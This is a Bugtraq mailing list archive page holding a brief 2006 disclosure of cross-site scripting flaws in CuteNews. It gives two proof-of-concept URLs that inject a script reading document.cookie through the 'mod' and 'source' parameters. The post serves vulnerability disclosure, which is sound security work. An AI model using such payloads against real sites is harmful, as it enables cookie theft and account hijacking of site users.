Home page logo
/

bugtraq logo Bugtraq mailing list archives

Local XXS Attack On CuteNews
From: outlaw () aria-security net
Date: 26 Apr 2006 05:07:54 -0000

Local XSS attack:
http://localhost/cutenews/index.php?mod=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--

http://localhost/cutenews/index.php?mod=editnews&action=list&source=<script>alert
(document.cookie)</script><!--

advisory:http://www.aria-security.net/advisory/portals/cutenews.txt


  By Date           By Thread  

Current thread:
  • Local XXS Attack On CuteNews outlaw (Apr 26)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]